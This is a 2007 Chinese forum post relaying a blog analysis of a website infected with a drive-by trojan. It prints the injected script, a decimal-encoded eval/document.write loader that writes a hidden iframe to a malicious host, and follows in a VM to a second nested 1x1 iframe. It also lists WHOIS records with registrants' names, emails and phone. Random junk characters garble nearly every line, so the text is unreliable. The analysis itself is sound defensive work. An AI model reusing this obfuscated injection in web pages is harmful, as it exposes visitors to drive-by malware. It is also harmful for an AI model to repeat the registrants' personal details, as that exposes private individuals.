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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, }kvix{  
Er j{_i?R?  
http://www.areway.cn/?p=175 !0Nf`iCQ(  
FVrB#Hw~  
nf"#F@dk  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: +<[q"3  
          uE9,N$\L_  
<script>t=’60,105,102,114,97,109,101, 2!B|w8ar  
32,115,114,99,61,104,116,116,112,58,47,47, _1G/qHf^S  
102,114,101,101,46,117,45,117,117,117,46,99, ]7W!f 2@  
110,47,101,114,114,111,114,46,104,116,109, DAWF =p]  
32,119,105,100,116,104,61,49,48,48,32,104, Ru*gbv,U  
101,105,103,104,116,61,48,62,60,47,105,102, @XzfuuE]  
114,97,109,101,62′; JP6 Noia  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> A~a 3bCX+"  
                                                                                                  mKO~`Wq%@  
<script>t=’60,105,102,114,97,109,101,32,115, [5p9p1@u{C  
114,99,61,104,116,116,112,58,47,47,102,114, ]3I a>i  
101,101,46,117,45,117,117,117,46,99,110,47, CV"}(1T  
101,114,114,111,114,46,104,116,109,32,119, Q`AlK"G,  
105,100,116,104,61,49,48,48,32,104,101,105, !P EKMDh  
103,104,116,61,48,62,60,47,105,102,114,97, FauASu,A  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 8o%Vn'^t  
document.write(t);</script> {X(nn.GpC  
                                                                                                  c8uw_6#r(D  
<html xmlns=” v(.mM9>  
http://www.w3.org/1999/xhtml =oL:|$Pj  
“> PL$XXj>|:  
<head> JnK<:]LcK  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> qX-5/;n  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> Ah7"qv'L\  
<title>首页 - 爱生活家庭网 ~//9Nz~;3  
                                                                                                                                                    l%GArH`  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 MW rhVn{R  
转换字符串后的大概内容是(谁点击后果自付): MjC<N[WO>N  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… TCyev[(  
                                                                                                                                  d>)=|  
查询玉米u-uuu.cn的详细信息: c{y'&3\  
Domain Name: u-uuu.cn HLPRTta.  
ROID: 20070901s10001s64972306-cn Fh)xm* u(  
Domain Status: ok jH<Sf: Y(  
Registrant Organization: 王雷 `Ze$Bd\  
Registrant Name: 王雷 JX 5/PCO  
Administrative Email: czlovexs@126.com 0$Rn|yqf%  
Sponsoring Registrar: 北京万网志成科技有限公司 @~ke=w6&pe  
Name Server:ns.yovole.com v%*don  
Name Server:ns1.yovole.com .cs x"JC  
Registration Date: 2007-09-01 17:54 Qv ~@  
Expiration Date: 2008-09-01 17:54 -9{N7H  
最后PING了一下地址 都没有什么…. /fT"WaTEK  
                                                                                                M]{~T7n-  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. v0)Y,hW  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> QlMLWi  
<script language=”javascript” src=” iU 6,B  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script &&C70+_po  
> G^dp9A  
这个玉米应该有可能是木马作者的: Ij4q &i"  
foafau.info的详细信息: Posz|u<x  
Access to INFO WHOIS information is provided to assist persons in J  Y8Rk=  
determining the contents of a domain name registration record in the -d4 v:Jab  
Afilias registry database. The data in this record is provided by 7 SJ=2  
Afilias Limited for informational purposes only, and Afilias does not u,8)M' UU  
guarantee its accuracy.  This service is intended only for query-based '62_q8:  
access. You agree that you will use this data only for lawful purposes +:jonN9d  
and that, under no circumstances will you use this data to: (a) allow, >uYQt ~s  
enable, or otherwise support the transmission by e-mail, telephone, or 8493Sw  
facsimile of mass unsolicited, commercial advertising or solicitations KM[0aXOtv  
to entities other than the data recipient’s own existing customers; or d38o*+JCf  
(b) enable high volume, automated, electronic processes that send MhHh`WUGh  
queries or data to the systems of Registry Operator, a Registrar, or Fw-Rv'\  
Afilias except as reasonably necessary to register domain names or w"[T  
modify existing registrations. All rights reserved. Afilias reserves Ar >JQ@0  
the right to modify these terms at any time. By submitting this query, %zGv+H?  
you agree to abide by this policy. ~Oq _lM  
Domain ID:D22418703-LRMS 7M~/ q.  
Domain Name:FOAFAU.INFO ? eX$Wc{  
Created On:20-Nov-2007 16:05:42 UTC AeEdqX)  
Last Updated On:20-Nov-2007 16:05:44 UTC 71[?AmxV  
Expiration Date:20-Nov-2008 16:05:42 UTC ~3gazTe9  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) l@GJcCufE  
Status:CLIENT DELETE PROHIBITED hE=xS:6  
Status:CLIENT RENEW PROHIBITED 6ZHeAb]"  
Status:CLIENT TRANSFER PROHIBITED 3^wHL:u  
Status:CLIENT UPDATE PROHIBITED !6X6_ +}M  
Status:TRANSFER PROHIBITED P/ 6$TgQ  
Registrant ID:GODA-040110615 v?]a tb/h`  
Registrant Name:liu hong ^TZmc{i  
Registrant Organization: hL/u5h%$  
Registrant Street1:beijing Rf`_q7fm  
Registrant Street2: %b*N.v1+  
Registrant Street3: 'q:7PkN!p  
Registrant City:beijing LRu*%3xx  
Registrant State/Province: yKj}l,i~8  
Registrant Postal Code:100000 +zche  
Registrant Country:CN %eofG]VM<  
Registrant Phone:+86.860108888777 /Lr`Aka5  
Registrant Phone Ext.: *)w+xWmM3w  
Registrant FAX: #3_g8ni5X  
Registrant FAX Ext.: 9VTAs:0D=  
Registrant Email:bbbshiji@163.com EQ^]W-gN  
Admin ID:GODA-240110615 s/hWhaS<  
Admin Name:liu hong l+2NA4s  
Admin Organization: n7;jME/!  
Admin Street1:beijing V0>[bzI  
Admin Street2: D['J4B  
Admin Street3: )s:kQ~+  
Admin City:beijing |0}Xb|+  
Admin State/Province: h&L-G j  
Admin Postal Code:100000 )_C>hWvo_  
Admin Country:CN /hqn>t  
Admin Phone:+86.860108888777 Z_bVCe{  
Admin Phone Ext.: <h9nt4F  
Admin FAX: ba G_7>Q9H  
Admin FAX Ext.: .up[wt gN  
Admin Email:bbbshiji@163.com U'F}k0h?\'  
Billing ID:GODA-340110615 dO2?&f  
Billing Name:liu hong xva e^gr  
Billing Organization: 0!YVRit\N  
Billing Street1:beijing ?F]P=S:x  
Billing Street2: Xux[  
Billing Street3: @ntwdv;  
Billing City:beijing rz&V.,s  
Billing State/Province: c"kB@P  
Billing Postal Code:100000 %E@o8  
Billing Country:CN m_Ed[h/I  
Billing Phone:+86.860108888777 tik*[1it  
Billing Phone Ext.: &D[M<7T  
Billing FAX: 25`W"x_  
Billing FAX Ext.: 53aJnxX  
Billing Email:bbbshiji@163.com ,_(=w.F   
Tech ID:GODA-140110615 ~cp=B>*(  
Tech Name:liu hong 3 xW:"  
Tech Organization: nkPlfH  
Tech Street1:beijing \9p.I?=  
Tech Street2: +pT;; 9  
Tech Street3: Jxe5y3* (  
Tech City:beijing U3B&3K} ~  
Tech State/Province: "zNS6I?rzE  
Tech Postal Code:100000 qh6b;ae\x  
Tech Country:CN [g@qZ5I.  
Tech Phone:+86.860108888777 m[y~-n  
Tech Phone Ext.: .{ILeG  
Tech FAX: p#4*:rpq4  
Tech FAX Ext.: |=:@<0.'  
Tech Email:bbbshiji@163.com 'q;MhnU+  
Name Server:NS27.DOMAINCONTROL.COM ZhCz]z~tj6  
Name Server:NS28.DOMAINCONTROL.COM 3C!|!N1Hn  
Name Server: mIG>`7`7N  
Name Server: Wx3DWY;  
Name Server: r]xN&Ne5Q  
Name Server: _z%\53h  
Name Server: V+1c<LwT  
Name Server: `UzH *w@e  
Name Server: C[znUI>  
Name Server: y~]D402Cx  
Name Server: zF FYl7]  
Name Server: rN#9p+t$  
Name Server: \ CcVk"/  
                                                                                                          j8e=],sQ  
接着下载每个文件里面的代码: &/^p:I  
一步一步看.. & ;5f/  
e^~dx}X  
9.dZA9l@g  
a>4q"IT6  
UK^w;w2F  
1S(oi  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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